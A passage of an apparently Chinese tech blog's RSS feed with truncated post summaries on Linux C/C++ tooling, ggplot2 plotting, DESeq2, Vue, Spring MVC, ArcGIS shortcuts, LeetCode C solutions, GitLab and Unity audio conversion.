      <description>基于VSCode和CMake实现C/C++开发 | Linux篇&#xA;文章目录 目录结构文件编辑vim（编辑器之神，linux里可以畅通无阻，必学，但不是现在！） 安装GCC和GDBg++编译过程动手操作 g++编译参数编译带调试信息的可执行文件 -g优化源代码 -O[n]案例：优化等级 -l （小写L）指定库文件和 -L 指定库文件路径-I （大写i）指定头文件搜索目录打印警告信息 -Wall 和关闭警告信息 -w设置编译标准 -std=c++xx指定输出文件名 -o-D定义宏（选择开启宏或关闭宏）使用 man gcc 或 man g++ 查看手册 实战：g++命令行编译编译生成可执行文件编译生成静态库（扩展名.a），并链接生成可执行文件编译生成动态库（扩展名.so），并链接生成可执行文件 GDB调试器（GNU Debugger）【实战】命令行调试相应快捷指令 VSCode在linux16.04下的安装及使用（以及插件，比如CMake）安装使用，自己看视频吧插件安装高频使用快捷键或操作 Cmake使用 目录结构 Bin：全称binary，含义是二进制。该目录中存储的都是一些二进制文件，文件都是可以被运行的。&#xA;Dev：该目录中主要存放的是外接设备，例如盘、其他的光盘等。在其中的外接设备是不能直接被使用的，需要挂载（类似window下的分配盘符）。&#xA;Etc：该目录主要存储一些配置文件。&#xA;Home：表示“家”，表示除了root用户以外其他用户的家目录，类似于windows下的User/用户目录。&#xA;Proc：全称process，表示进程，该目录中存储的是Linux运行时候的进程。&#xA;Root：该目录是root用户自己的家目录。&#xA;Sbin：全称super binary，该目录也是存储一些可以被执行的二进制文件，但是必须得有super权限的用户才能执行。&#xA;Tmp：表示“临时”的，当系统运行时候产生的临时文件会在这个目录存着。&#xA;Usr：存放的是用户自己安装的软件。类似于windows下的program files。（应该说错啦！！这是unix系统资源目录）&#xA;Var：存放的程序/系统的日志文件的目录。&#xA;Mnt：当外接设备需要挂载的时候，就需要挂载到mnt目录下。&#xA;d表示文件夹，- 表示文件 树工具&#xA;sudo apt install tree 文件编辑 vim（编辑器之神，linux里可以畅通无阻，必学，但不是现在！） 还介绍了gedit、nano编辑器，，鸡肋&#xA;安装GCC和GDB 每次安装新的程序之前都要运行下这个：&#xA;sudo apt-get update 安装gdb&#xA;sudo apt install build-essential gdb 查看版本&#xA;gcc --version g++ --version gdb --version 安装CMake</description>
    </item>
    <item>
      <title>ggplot2分组柱图barplot添加误差线以及显著标记</title>
      <link>https://bchobby.github.io/posts/bf7474e088135178e6acdae04b9dd95c/</link>
      <pubDate>Fri, 24 Sep 2021 14:44:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf7474e088135178e6acdae04b9dd95c/</guid>
      <description>分组barplot添加均值标准差误差线显著标记 library(ggplot2) library(ggpubr) mydata1 &amp;lt;- data.frame(fenzu=rep(c(1,2),each=15),shijain=rep(c(&#34;入院&#34;,&#34;7天&#34;,&#34;14天&#34;),each=5),value=seq(1,30,1)) mydata1$fenzu &amp;lt;- as.factor(mydata1$fenzu) mydata1$shijain &amp;lt;- as.factor(mydata1$shijain) mydata1$shijain &amp;lt;- factor(mydata1$shijain,levels = unique(mydata1$shijain)) p&amp;lt;- ggplot(mydata1, aes(x = shijain, y = value, fill = fenzu)) + #下面fun后边跟的median或者mean一定要加引号！！否则会报错 geom_bar(stat = &#34;summary&#34;, fun =&#34;mean&#34;, position = position_dodge(),alpha=0.7) + stat_summary(fun.data = &#39;mean_sd&#39;, geom = &#34;errorbar&#34;, colour = &#34;black&#34;, width = 0.15,position = position_dodge( .9)) #p#注意调透明度的位置 q &amp;lt;- p +　stat_compare_means(method = &#34;wilcox.test&#34;,method.args = list(alternative = &#34;two.sided&#34;)) q &amp;lt;- q+scale_fill_brewer(palette = &#39;Accent&#39;)+ theme(text = element_text(family = &#34;</description>
    </item>
    <item>
      <title>Chrome浏览器本地调试：阻止不安全、本地网络请求</title>
      <link>https://bchobby.github.io/posts/44611ed6ead3fdbfd99134009bd6e588/</link>
      <pubDate>Fri, 24 Sep 2021 14:21:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44611ed6ead3fdbfd99134009bd6e588/</guid>
      <description>今天打开Chrome浏览器，本地开发联调突然报错。&#xA;Access to script at &#39;http://localhost:8001/xxx.js&#39; from origin &#39;http://xxx.xxx.xxxx.com&#39; has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address spacelocal.&#xA;报错说我本地的文件因为跨域安全被阻止访问了。那我们本地调试就改一下Chrome的配置吧。&#xA;打开新的网页，浏览器输入：chrome://flags/#block-insecure-private-network-requests&#xA;重新启动一下浏览器，问题就解决啦。</description>
    </item>
    <item>
      <title>ggplot2分组箱线图添加均值</title>
      <link>https://bchobby.github.io/posts/31c09b6cc56baaf965ab5f734646f0d1/</link>
      <pubDate>Fri, 24 Sep 2021 10:57:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31c09b6cc56baaf965ab5f734646f0d1/</guid>
      <description>ggplot2分组箱线图添加均值 一、不分组的简单箱线图加均值stat_summary分组箱线图 一、不分组的简单箱线图加均值 代码如下（示例）：&#xA;# Library library(ggplot2) # create data names=c(rep(&#34;A&#34;, 20) , rep(&#34;B&#34;, 8) , rep(&#34;C&#34;, 30), rep(&#34;D&#34;, 80)) value=c( sample(2:5, 20 , replace=T) , sample(4:10, 8 , replace=T), sample(1:7, 30 , replace=T), sample(3:8, 80 , replace=T) ) data=data.frame(names,value) # plot p &amp;lt;- ggplot(data, aes(x=names, y=value, fill=names)) + geom_boxplot(alpha=0.7) + stat_summary(fun=&#34;mean&#34;, geom=&#34;point&#34;, shape=20, size=2.5, color=&#34;red&#34;, fill=&#34;red&#34;,alpha=0.7) + theme(legend.position=&#34;none&#34;) + scale_fill_brewer(palette=&#34;Accent&#34;) p stat_summary 用到了stat_summary函数算均值，具体介绍一下&#xA;代码如下（示例）：（图片略，直接跑可以跑出来）&#xA;library(tidyverse) library(gapminder) #---------------------- gapminder %&amp;gt;% ggplot(aes(x = year, y = lifeExp)) + stat_summary(fun = &#34;</description>
    </item>
    <item>
      <title>生信入门（四）——使用DESeq2进行RNA-seq数据分析</title>
      <link>https://bchobby.github.io/posts/97eb57e51ce19dfa40c15af01d6a36b8/</link>
      <pubDate>Fri, 24 Sep 2021 09:22:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97eb57e51ce19dfa40c15af01d6a36b8/</guid>
      <description>生信入门（四）——使用DESeq2进行RNA-seq数据分析 文章目录 生信入门（四）——使用DESeq2进行RNA-seq数据分析一、学习目标二、实验数据1、数据来源2、建模计数数据3、转录本丰度4、salmon定量 三、用tximport导入R1、指定文件位置2、将转录本映射到基因3、tximport命令 今日学习内容DESeq2分析RNA-seq数据 一、学习目标 直观地评估 RNA-seq 数据的质量对 RNA-seq 数据进行基本的差异分析将 RNA-seq 结果与其他实验数据进行比较从 FASTQ 文件中量化转录表达将定量导入 R/Bioconductor执行质量控制和探索性数据分析执行差异表达与其他实验数据重叠构建动态报告整合 DESeq2 和 zinbwave 以获取单细胞 RNA-seq 数据 二、实验数据 1、数据来源 GEO 条目 GSE52778&#xA;本文将展示如何使用替代数据集（tximport小插图中使用的tximportData包）导入 RNA-seq 量化数据。后来我们将加载了数道数据集，其使用计数summarizeOverlaps从GenomicAlignments包。如下所述，我们推荐使用tximport管道来生成计数矩阵，但我们还没有包含气道数据集必要量化文件的 Bioconductor 包。 2、建模计数数据 作为输入，基于计数的统计方法，例如DESeq2 , edgeR , limma with the voom method , DSS、EBSeq 和baySeq期望输入数据是从 RNA-seq 或其他高通量测序实验中获得的计数矩阵。第i行和j 中的值矩阵的第 -th 列表示样本j 中的基因i分配了多少读数（或片段，对于双端 RNA-seq）。类似地，对于其他类型的检测，矩阵的行可能对应于例如结合区域（使用 ChIP-Seq）、细菌种类（使用宏基因组数据集）或肽序列（使用定量质谱）。&#xA;3、转录本丰度 在此工作流程中，我们将展示如何使用由Salmon (Patro et al. 2017)软件包量化的转录本丰度。Salmon和其他方法，例如Sailfish 、kallisto 或RSEM ，估计所有（已知的、带注释的）转录本的相对丰度，而没有对齐读取。因为估计转录本的丰度涉及推理步骤，所以估计计数. 大多数方法要么使用称为估计最大化或贝叶斯技术的统计框架来估计丰度和计数。在量化之后，我们将使用tximport （Soneson、Love 和 Robinson 2015）包来组装估计计数和偏移矩阵，以便与 Bioconductor 差异基因表达包一起使用。</description>
    </item>
    <item>
      <title>vue在哪个生命周期可以获取和操作DOM</title>
      <link>https://bchobby.github.io/posts/342f365877dacf4874a2ba946a72cc99/</link>
      <pubDate>Thu, 23 Sep 2021 23:55:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/342f365877dacf4874a2ba946a72cc99/</guid>
      <description>vue从mounted钩子函数开始可以获取和操作dom，此前操作DOM浏览器会报错。&#xA;vue生命周期Vue 实例&#xA;测试代码如下。在每个钩子函数中添加相应的DOM，测试能否获取及修改DOM。&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;body&#34;&amp;gt; &amp;lt;input v-model=&#34;test&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { test: &#34;&#34;, }; }, beforeCreate() { let body = document.getElementById(&#34;body&#34;); if (body !== null) { console.log(&#34;beforeCreate 可以获取 DOM&#34;); } else { console.log(&#34;beforeCreate 不可以获取 DOM&#34;); } let div = document.createElement(&#34;div&#34;); div.innerHTML = &#34;beforeCreate&#34;; body.appendChild(div); }, created() { let body = document.getElementById(&#34;body&#34;); if (body !== null) { console.log(&#34;created 可以获取 DOM&#34;); } else { console.</description>
    </item>
    <item>
      <title>一项关于使用非参数检验分析进化算法行为的研究:2005年中欧委员会实参数优化特别会议的案例研究</title>
      <link>https://bchobby.github.io/posts/1ee2959b607084a37ac24f72c0798859/</link>
      <pubDate>Thu, 23 Sep 2021 21:52:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ee2959b607084a37ac24f72c0798859/</guid>
      <description>一项关于使用非参数检验分析进化算法行为的研究:2005年中欧委员会实参数优化特别会议的案例研究 Abstract 摘要近年来，在进化算法领域，实验分析越来越受到人们的关注。值得注意的是，目前已有大量的论文分析并提出了不同类型的问题，如算法实验比较的基础、算法比较中不同方法的提出、算法比较中使用不同统计技术的建议等。在这篇论文中，我们重点研究了统计技术在分析进化算法在优化问题上的行为方面的应用。利用进化算法的实编码优化模型，研究了统计分析结果的必要条件。本研究采用单问题分析和多问题分析两种方法进行。结果表明，当我们处理多个问题的结果时，参数统计分析是不合适的。在多问题分析中，我们建议使用非参数统计检验，因为它们比参数统计检验的限制性更小，而且它们可以在结果的小样本中使用CEC’2005用非参数测试程序优化实参数专题会议。&#xA;筹备工作:2005年中央委员会特别会议设置 在本节中，我们将简要介绍CEC2005特别会议中比较的算法、测试功能和实验的特点。&#xA;2.1进化算法 在本节中，我们列举了在CEC“2005年特别会议”上提出的11种算法。如需详细了解每一项的描述和参数，请参阅各自的贡献。算法如下:BLX。GL50 (García-Martínez and Lozano 2005)、BLX-MA (Molina et al. 2005)、CoEVO（波伊克2005年），德（伦克嫩等人2005年），DMS-L-PSO（梁和苏甘塔尔）2005), EDA (Yuan and Gallagher 2005), G-CMA-ES (Auger and Hansen 2005a)K-PCX（辛哈等人2005年），L-CMA-ES（奥格和汉森2005b），L-萨德（基尔和Suganthan 2005)， SPC-PNX (Ballester et al. 2005)。&#xA;2.2 测试函数 在下面的文章中，我们介绍了为2005年IEEE进化大会上组织的实参数优化特别会议设计的一组测试函数&#xA;所有函数都被替换了，以确保它们的最优值永远不会在搜索空间的中心被找到。在两个函数。此外。在初始化范围内找不到optima，搜索域不受限制(最优不在初始化范围内)&#xA;2.3 实验的特点 这些实验是按照与竞赛相关的文件中的说明进行的。主要特点有:&#xA;对于每个测试函数，每个算法运行25次，并计算出总体中最优个体的平均误差。我们将使用维数D = 10的研究，算法对适应度函数进行10万次评估在上述竞赛中，还进行了D30和D50尺寸的实验每次运行都在获得的错误小于10-8时停止。或者达到最大次数的计算。 3 .研究参数试验安全使用所需条件 在本节中，我们将描述和分析安全使用参数测试必须满足的条件(第3.1节)。为此，我们收集了考虑维数D= 10的25个函数中，采用BLX-MA和BLX-GL50算法得到的全部结果。有了它们，我们将首先在单个问题分析(见3.2节)中，对每个函数的结果的完整样本分析所指示的条件。最后。我们将考虑每个函数的平均结果，以合成两种算法的每个结果样本。有了这两个样本，我们将再次检查在多问题方案中安全使用参数测试所需的条件(见第3.3节)。&#xA;3.1参数试验安全使用的条件。 在Sheskin(2003年)中，参数检验和非参数检验之间的区别是基于将要分析的数据所代表的测量水平。这样，参数化测试使用由实值组成的数据。后者并不意味着当我们总是处理这种类型的数据时，我们应该使用参数测试。对于参数检验的安全使用，还有其他一些初始假设。不满足这些条件可能会使统计分析失去可信性。为了使用参数测试，必须检查以下条件(Sheskin 2003;Zar 1999):&#xA;独立性:在统计学中，当一个事件的发生不改变另一个事件发生的概率时，两个事件是独立的。正态性:当观察的行为符合正态分布或高斯分布，其平均值为u，方差为o时，观察就是正态的。对一个样本进行正态性检验可以表明观察数据中是否存在这种情况。我们将使用三种常态测试: Shapiro-WilkKolmogorov-Smirnov:将观测数据的累积分布与高斯分布的预期累积分布进行比较，得到基于两者差异的p值Shapiro-Wilk:它分析观察到的数据，计算对称程度和峰度(曲线的形状)，然后计算与高斯分布的差异，从这些差异的平方和得到p值。D’agostino - pearson:它首先计算偏度和峰度，以量化分布在不对称和形状方面与高斯分布的距离。然后计算这些值与高斯分布的期望值之间的距离。并从这些差异的总和中计算出一个p值。 异方差性:这一性质表明存在违背方差相等假设的情况。Levene检验用于检验k个样本是否存在方差齐性(方差齐性)。当观测数据不满足正态性条件时，该检验结果比Bartlett检验更可靠。检查相同的属性。 在我们的例子中，很明显事件的独立性，因为它们是随机生成初始种子的算法的独立运行。下面我们将使用Kolmogorov-Smirnov进行正态性分析。ShapiroWilk和D’agostino - pearson检验对单问题和多问题分析，并用Levene检验进行异方差分析。&#xA;3.2关于单问题分析所需条件的研究 对每个函数运行25次BLX-GL50和BLX-MA算法得到的结果样本，我们可以应用统计检验来确定它们是否检验了正态性和同方差特性。我们以前已经看到，在这类实验中，独立性条件很容易满足。进行统计分析的运行次数可能较低，但这是中央委员会2005年特别会议的要求本节中使用的所有测试将获得相关的p值，它表示样本结果相对于正态形状的不同程度。因此，低p值表示非正态分布。在本研究中，我们将考虑显著性水平a =0.05，因此p值大于a表示满足正态性条件。所有的计算都通过SPSS统计软件包进行。表1显示了结果，符号“*”表示不满足正规性，括号中是p值。表2显示了应用测试的结果：&#xA;表3为D’agostino - pearson检验结果。&#xA;除了这个一般的研究之外，我们还展示了三种情况下的样本分布，目的是说明正态检验获得不同结果的有代表性的情况。&#xA;从图1到图3，显示了直方图和Q-Q图的不同图形表示示例。直方图通过条形图来表示一个统计变量，因此每个条形图的面积与所表示值的频率成正比。Q-Q图表示观察到的四分位数和正态分布的四分位数之间的冲突。&#xA;在图1中，我们可以观察到一个异常性质清晰呈现的一般情况。相反，图2是一个正态分布的样本的说明，采用的三个正态检验验证了这一事实。最后，图3显示了一个特殊情况，结果的样本和正态分布之间的相似性，并不是由所有的正态性来证实的。&#xA;在这种情况下，一个正态性测试可能比另一个更好，这取决于数据类型、领带数量或收集的结果数量。因为这个事实。我们使用了三个众所周知的正态检验来研究正态条件。&#xA;根据问题选择最合适的正态检验超出了本文的范围。对研究同方差性属性,表4显示了通过应用列文的测试,结果,象征“表明分布的方差不同的算法的某些功能异同(我们reiect零hvpothesis在显著性水平= 0.05)显然，在这两种情况下，正态性和同方差条件的不满足是完美的。在大多数的功能。正态性条件在单问题分析中不能得到验证。同方差性也取决于所研究的算法的数目。因为它检验了所有总体样本方差之间的关系。</description>
    </item>
    <item>
      <title>springmvc静态资源过滤</title>
      <link>https://bchobby.github.io/posts/f543b2cbb98077d42ac36ad494adad4e/</link>
      <pubDate>Thu, 23 Sep 2021 19:21:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f543b2cbb98077d42ac36ad494adad4e/</guid>
      <description>springmvc静态资源过滤 优雅REST风格的资源URL不希望带 .html 或 .do 等后缀.由于早期的Spring MVC不能很好地处理静态资源，所以在web.xml中配置DispatcherServlet的请求映射，往往使用 *.do 、 *.xhtml等方式。这就决定了请求URL必须是一个带后缀的URL，而无法采用真正的REST风格的URL。&#xA;如果将DispatcherServlet请求映射配置为&#34;/&#34;，则Spring MVC将捕获Web容器所有的请求，包括静态资源的请求，Spring MVC会将它们当成一个普通请求处理，因此找不到对应处理器将导致错误。&#xA;如何让Spring框架能够捕获所有URL的请求，同时又将静态资源的请求转由Web容器处理，是可将DispatcherServlet的请求映射配置为&#34;/&#34;的前提。由于REST是Spring3.0最重要的功能之一，所以Spring团队很看重静态资源处理这项任务，给出了堪称经典的两种解决方案。&#xA;先调整web.xml中的DispatcherServlet的配置，使其可以捕获所有的请求：&#xA;&amp;lt;servlet&amp;gt; &amp;lt;servlet-name&amp;gt;springMVC&amp;lt;/servlet-name&amp;gt; &amp;lt;servlet-class&amp;gt;org.springframework.web.servlet.DispatcherServlet&amp;lt;/servlet-class&amp;gt; &amp;lt;load-on-startup&amp;gt;1&amp;lt;/load-on-startup&amp;gt; &amp;lt;/servlet&amp;gt; &amp;lt;servlet-mapping&amp;gt; &amp;lt;servlet-name&amp;gt;springMVC&amp;lt;/servlet-name&amp;gt; &amp;lt;url-pattern&amp;gt;/&amp;lt;/url-pattern&amp;gt; &amp;lt;/servlet-mapping&amp;gt; 通过上面url-pattern的配置，所有URL请求都将被Spring MVC的DispatcherServlet截获。&#xA;采用&amp;lt;mvc:default-servlet-handler /&amp;gt;&#xA;在springMVC-servlet.xml中配置&amp;lt;mvc:default-servlet-handler /&amp;gt;后，会在Spring MVC上下文中定义一个org.springframework.web.servlet.resource.DefaultServletHttpRequestHandler，它会像一个检查员，对进入DispatcherServlet的URL进行筛查，如果发现是静态资源的请求，就将该请求转由Web应用服务器默认的Servlet处理，如果不是静态资源的请求，才由DispatcherServlet继续处理。&#xA;一般Web应用服务器默认的Servlet名称是&#34;default&#34;，因此DefaultServletHttpRequestHandler可以找到它。如果你所有的Web应用服务器的默认Servlet名称不是&#34;default&#34;，则需要通过default-servlet-name属性显示指定：&#xA;&amp;lt;mvc:default-servlet-handler default-servlet-name=&#34;所使用的Web服务器默认使用的Servlet名称&#34; /&amp;gt;&#xA;采用&amp;lt;mvc:resources /&amp;gt;&#xA;&amp;lt;mvc:default-servlet-handler /&amp;gt;将静态资源的处理经由Spring MVC框架交回Web应用服务器处理。而&amp;lt;mvc:resources /&amp;gt;更进一步，由Spring MVC框架自己处理静态资源，并添加一些有用的附加值功能。&#xA;首先，&amp;lt;mvc:resources /&amp;gt;允许静态资源放在任何地方，如WEB-INF目录下、类路径下等，你甚至可以将JavaScript等静态文件打到JAR包中。通过location属性指定静态资源的位置，由于location属性是Resources类型，因此可以使用诸如&#34;classpath:&#34;等的资源前缀指定资源位置。传统Web容器的静态资源只能放在Web容器的根路径下，&amp;lt;mvc:resources /&amp;gt;完全打破了这个限制。&#xA;其次，&amp;lt;mvc:resources /&amp;gt;依据当前著名的Page Speed、YSlow等浏览器优化原则对静态资源提供优化。你可以通过cacheSeconds属性指定静态资源在浏览器端的缓存时间，一般可将该时间设置为一年，以充分利用浏览器端的缓存。在输出静态资源时，会根据配置设置好响应报文头的Expires 和 Cache-Control值。&#xA;在接收到静态资源的获取请求时，会检查请求头的Last-Modified值，如果静态资源没有发生变化，则直接返回303相应状态码，提示客户端使用浏览器缓存的数据，而非将静态资源的内容输出到客户端，以充分节省带宽，提高程序性能。&#xA;在springMVC-servlet中添加如下配置：&#xA;&amp;lt;mvc:resources location=&#34;/,classpath:/META-INF/publicResources/&#34; mapping=&#34;/resources/**&#34;/&amp;gt; 以上配置将Web根路径&#34;/&#34;及类路径下 /META-INF/publicResources/ 的目录映射为/resources路径。假设Web根路径下拥有images、js这两个资源目录,在images下面有bg.gif图片，在js下面有test.js文件，则可以通过 /resources/images/bg.gif 和 /resources/js/test.js 访问这二个静态资源。&#xA;假设WebRoot还拥有images/bg1.gif 及 js/test1.js，则也可以在网页中通过 /resources/images/bg1.gif 及 /resources/js/test1.js 进行引用。</description>
    </item>
    <item>
      <title>收藏∣ArcGIS Pro 键盘快捷键</title>
      <link>https://bchobby.github.io/posts/3393b50d525453363fe1772b46fe431a/</link>
      <pubDate>Thu, 23 Sep 2021 16:43:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3393b50d525453363fe1772b46fe431a/</guid>
      <description>ArcGIS Pro 中提供了键盘快捷键，用以提高工作效率并帮助您在完成常见工作流的同时节省下时间。&#xA;键盘快捷键可按功能区进行分类。 要了解有关每种功能的详细信息以及何时可以使用键盘快捷键的类别，请单击表格后面的链接。&#xA;注：&#xA;这是 ArcGIS Pro 中可用的键盘快捷键的完整列表，并且在每个软件版本中都会更新。 可以从 https://links.esri.com/arcgis-pro-shortcuts 下载 PDF 版本，但该版本可能不包括最新更新内容。&#xA;此处列出的某些快捷键可用于增强鼠标操作；但也可以在没有鼠标的情况下使用 ArcGIS Pro。 有关详细信息，请参阅通过键盘使用 ArcGIS Pro。&#xA;常规应用程序&#xA;用于 ArcGIS Pro 的常规键盘快捷键&#xA;键盘快捷键 操作&#xA;Ctrl+O 打开工程。&#xA;Ctrl+N 创建新工程。&#xA;Ctrl+S 保存工程。&#xA;Alt+F4 退出 ArcGIS Pro。&#xA;F1 将帮助系统打开到工具的默认主页或上下文相关帮助。&#xA;在 ArcGIS Pro 中了解有关上下文相关帮助的详细信息&#xA;Ctrl+F1 显示或隐藏功能区。&#xA;Ctrl+Z 撤消更改。&#xA;Ctrl+Y 恢复更改。&#xA;Delete 删除所选内容。&#xA;Alt 键或 F10 键 在功能区和活动视图或窗格之间移动。 启用访问键并在功能区上显示按键提示。&#xA;Alt + 连字符 (-) 访问相应选项以浮动、停靠或关闭活动视图或窗格。&#xA;右箭头键或左箭头键 在功能区或窗格中从一个选项卡移至另一选项卡。&#xA;Tab 键或 Shift+Tab 在功能区、窗格、视图或对话框上的命令或项目之间移动。</description>
    </item>
    <item>
      <title>VS中断点调试的功能</title>
      <link>https://bchobby.github.io/posts/1825b98e920f6bdc566064cc0064b3d8/</link>
      <pubDate>Wed, 22 Sep 2021 22:01:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1825b98e920f6bdc566064cc0064b3d8/</guid>
      <description>文章目录 前言一、断点功能及演示1.断点功能2.演示 前言 断点在编写程序找错误的时候能起到很大的作用，希望大家能够好好理解。&#xA;一、断点功能及演示 1.断点功能 断点可以实现代码的单步执行，便于我们发现错误是在具体的哪一天，还可以帮助我们理解程序的运行过程。&#xA;2.演示 这个红色的点我们称之为断点，在这一条黑线这里点一下即可出现断点。&#xA;当我们可以调试运行时会发现程序并没有执行，而是卡在我们下的断点那个位置，控制台调试框也没有东西。这个断点的位置的代码代表将要执行，下面的代码都还没有执行。&#xA;按下F10断点会向下走，程序也会向下运行。&#xA;按一下就执行一条代码。&#xA;断点及大方便了我们理解程序的执行过程，有助于我们理解程序的执行过程。</description>
    </item>
    <item>
      <title>基于知识获取共享的算法代码</title>
      <link>https://bchobby.github.io/posts/d61f3f6ccab14199b679de33bc9e20ec/</link>
      <pubDate>Wed, 22 Sep 2021 21:38:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d61f3f6ccab14199b679de33bc9e20ec/</guid>
      <description>基于知识获取共享的算法 gainesingsharing knowledge optimization algorithm (GSK)基于在人的生命周期内获取和共享知识的理念。它基于两个关键因素阶段：&#xA;第一阶段称为初-中级或初级获取与分享阶段；第二阶段称为中级-专家或高级获取与分享阶段； 下面将分别描述这两个阶段。&#xA;事实上，特定人群中的所有个体(人)可以在一起互动，他们通过合作和竞争不断影响彼此，以非常有经验和足够资格处理现实生活中的情况解决复杂的问题。然而，作为一个有经验的人，你必须从别人那里获得和分享知识。因此,人类寿命期间,每个人在一个特定的人口增长知识在早期阶段(早中)获得知识通过不同类型的非常小的网络如他她(家人、邻居、亲戚)比获得更现实的等不同类型的更大的网络(工作、社会朋友和许多其他人)。&#xA;此外，由于经验有限，这一阶段的知识来源很少，他/她仍然希望与其他不同类型的人分享他的观点，想法和技能，可能在小的网络之外。事实上，在这个阶段，他必须考虑到，他没有足够的资格，生活经验很少，以区分和分类不同类型的人，不属于他她的小网络，好人和坏人。&#xA;另一方面，在(中后期)年阶段，由于与更大的网络(如同事、社交媒体上的朋友和其他人)互动，每个人都有自己的不同领域的知识,可以显著改善获得它从别人主要是派生按照领导人的成功,相信在精英人士的意见除了避免失败的人或激进的概念或糟糕的性能在各个领域。事实上，在这个阶段，每个人都有很强的判断、思考和把不同类型的人分为好、中、坏的等级的能力。因此，他可以很容易地将自己在不同领域的知识和经验分享给最合适、性格和行为良好的人(即从他们的知识和经验中获益)。对上述知识获取-共享概念的数学解释如下。&#xA;让 x i = 1 , 2 , 3 , … , N x_i= 1,2,3,…,N xi​=1,2,3,…,N的人一个特定的人口,也就是说,这个人口包含N人每个人喜被定义为 x i j = ( ( ξ 1 , ξ 2 ) , … , x i D ) x_{ij} =((ξ_1,ξ_2),…,x_{iD}) xij​=((ξ1​,ξ2​),…,xiD​), D D D是分配给一个人的学科领域的数量，也就是决定一个人的维度的知识分支和 f i f_i fi​, i = 1 , 2 ， … ， N i = 1,2，…，N i=1,2，…，N分别为对应的适应度值。因此,显然它可以推导出从图6的主要思想是在初中获得和分享阶段(含早阶段)每个向量的维数(改变)被另一个值将替代使用初级获取-共享方案不仅仅是更新的数量维度使用高级获得和共享方案即数量使用初级增益共享规则的更新维数大于使用高级增益共享规则的更新维数。</description>
    </item>
    <item>
      <title>记一次gitlab因为修改external URL导致打不开网页的bug</title>
      <link>https://bchobby.github.io/posts/2b4ffaf422c804560f8f0dbb24325e3b/</link>
      <pubDate>Wed, 22 Sep 2021 17:00:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b4ffaf422c804560f8f0dbb24325e3b/</guid>
      <description>我是通过docker安装的gitlab,当时跟着教程，用9080映射了80端口，然后修改/etc/gitlab/gitlab.rb下的external URL&#xA;再修改gitlab.yml的host和port，把它修改的和gitlab.rb一致，完后重启gitlab，发现打不开网页。&#xA;前前后后鼓捣了大半天，后来发现把端口映射内部80到外部9080了，这样，当我设置了扩展url之后，内部不再是80，而是9080，然而外部还是在用9080访问内部的80，所以会打不开。&#xA;那么很简单，将容器删除（这里数据卷可以不删，可以保留以前的创建的账户这些，当然你想重开肯定更好）&#xA;然后重新创建容器并且不再映射80端口（主要是开着nginx,是我肯定用扩展的URL），直接映射我们的9080端口，然后创建完后进入容器检查一下我们的那两个文件是否一致，如果一致，就ok,这个时候通过192.168.200.130:9080就可以正常打开了！&#xA;检查一下你的项目的http和ssh连接中的端口号是否和你自己设置的一致，如果一致就没问题，可以远程提交！</description>
    </item>
    <item>
      <title>leetcode学习（初级算法-数组）</title>
      <link>https://bchobby.github.io/posts/6ccffe7ad9edcc1745d07323df28c161/</link>
      <pubDate>Wed, 22 Sep 2021 01:11:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ccffe7ad9edcc1745d07323df28c161/</guid>
      <description>C语言实现初级数组算法。&#xA;1.删除排序数组中的重复项&#xA;初级算法 - LeetBook - 力扣（LeetCode）全球极客挚爱的技术成长平台 (leetcode-cn.com)https://leetcode-cn.com/leetbook/read/top-interview-questions-easy/x2gy9m/实现代码：&#xA;int removeDuplicates(int* nums, int numsSize){ int *i = nums, *end = nums + numsSize; while (++nums &amp;lt; end) if (*i != *nums) *(++i) = *nums; return i - nums + numsSize + 1; } 2.买卖股票的最佳时机 II&#xA;初级算法 - LeetBook - 力扣（LeetCode）全球极客挚爱的技术成长平台 (leetcode-cn.com)https://leetcode-cn.com/leetbook/read/top-interview-questions-easy/x2zsx1/实现代码：&#xA;int maxProfit(int *prices, int pricesSize){ if (pricesSize &amp;lt; 2) return 0; int *end = prices + pricesSize - 1, min = *prices; int a=*prices,b=*(++prices),c; pricesSize = 0; while(prices&amp;lt;end){ c=*(prices+1); if(b&amp;lt;=a){ if(b&amp;lt;c) min=b; }else{ if(b&amp;gt;=c) pricesSize+=b-min; } a=b; b=c; prices++; } if (b &amp;gt; a) return pricesSize + b - min; return pricesSize; } 3.</description>
    </item>
    <item>
      <title>Unity 加载并使用.mp3格式的音频文件</title>
      <link>https://bchobby.github.io/posts/4a6350019538eb15e0a5a600c19c867a/</link>
      <pubDate>Tue, 21 Sep 2021 23:55:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a6350019538eb15e0a5a600c19c867a/</guid>
      <description> 原文链接&#xA;unity 自带的音频加载类仅支持wav、ogg格式的音频文件，当你拿到一堆mp3格式的文件时，你会选择哪种处理方式。&#xA;1.格式工厂一键转换&#xA;2.写一个函数，把文件格式转换成wav格式&#xA;这里介绍以下第二种方式&#xA;using NAudio.Wave;//要下载一个NAudio.dll才引用得到 private static void LoadMp3(string audioUrl) { FileInfo fileInfo= new FileInfo(audioUrl); using (var audioStrem = new Mp3FileReader(fileInfo.FullName)) { WaveFileWriter.CreateWaveFile(fileInfo.FullName.Replace(&#34;.mp3&#34;,&#34;&#34;)+ &#34;.wav&#34;, audioStrem); } } </description>
    </item>
    <item>
      <title>Docker中微服务的消费者访问提供者的错误 Connection refused</title>
      <link>https://bchobby.github.io/posts/abd8fc11cd71a180b29469a71ac20d12/</link>
      <pubDate>Tue, 21 Sep 2021 17:36:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abd8fc11cd71a180b29469a71ac20d12/</guid>
